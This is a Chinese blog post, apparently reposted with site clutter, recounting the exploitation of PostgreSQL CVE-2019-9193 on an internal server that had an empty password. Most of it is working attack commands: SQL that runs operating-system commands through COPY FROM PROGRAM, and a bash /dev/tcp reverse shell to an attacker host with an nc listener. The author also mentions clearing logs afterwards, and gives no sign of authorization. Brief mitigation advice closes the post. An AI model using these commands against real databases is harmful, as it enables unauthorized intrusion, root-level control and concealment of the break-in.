postgresql 查看用户密码_PostgreSQL任意命令执行漏洞利用(CVE-2019-9193)

904c4fe2635050d207c89fd405ad47f7.png

最近没事曰曰内网,偶然发现了一个使用空密码的pg(是的,连爆破都省了)。用navicat连上去看了下几个库都是一些业务测试数据,没什么好收集;不死心,google了一下发现有个比较新的CVE好像可以操作一下~

漏洞概述

最近,安全研究人员披露了PostgreSQL实例代码执行漏洞(CVE-2019-9193)的漏洞细节。具有数据库 服务器 文件读取权限的攻击者可以利用此漏洞执行任意系统命令。

从9.3版本开始,Postgres新增了一个COPY TO/FROM PROGRAM功能,允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。

受影响的版本(貌似更新版本无解)

PostgreSQL> = 9.3

漏洞利用

pg数据库连接

# 连接postgressql,虽然是内网ip但还是打一下码吧
psql -U postgres -h 172.xx.xxx.xx

cbbec7fb03c4c4ebccde1119d1607e8c.png

开始攻击(直接套用网上POC)

# 删除并创建用于保存系统命令执行结果的表 
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);

# 命令执行测试,多试几条
COPY cmd_exec FROM PROGRAM 'id';
COPY cmd_exec FROM PROGRAM 'whoami';

# 查看结果
SELECT * FROM cmd_exec;

14786930b9609630b7c3cbac1209ca7b.png

我的 ,还是个root用户,,都不用提权了(这安全意识阿。。。)

Getshell

虽然都可以执行系统命令了,拿不拿shell无所谓,但拿了还是要方便一些;

# attack机器上开启监听
nc -lvnp 8888

# 利用pg执行远程连接命令
COPY cmd_exec FROM PROGRAM 'bash -i >& /dev/tcp/attack_ip/8888 0>&1';

attack机器已经返回shell连接了~

d4d480a745850e6d7d5c89ebf8514139.png

记录一下,顺便清除记录收工了。

解决方案建议

1、pg_read_server_files,pg_write_server_files和pg_execute_server_program角色涉及读取和写入具有大权限的数据库服务器文件。将此角色权限分配给数据库用户时,应慎重考虑。

2、使用强密码!!!

3、进行网络隔离,只允许需要的IP连接;

PostgreSQL任意命令执行漏洞利用(CVE-2019-9193 - Tachiu Lam​tclam.cn
b9ecc199bb91682767ff8f2e770cab45.png
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值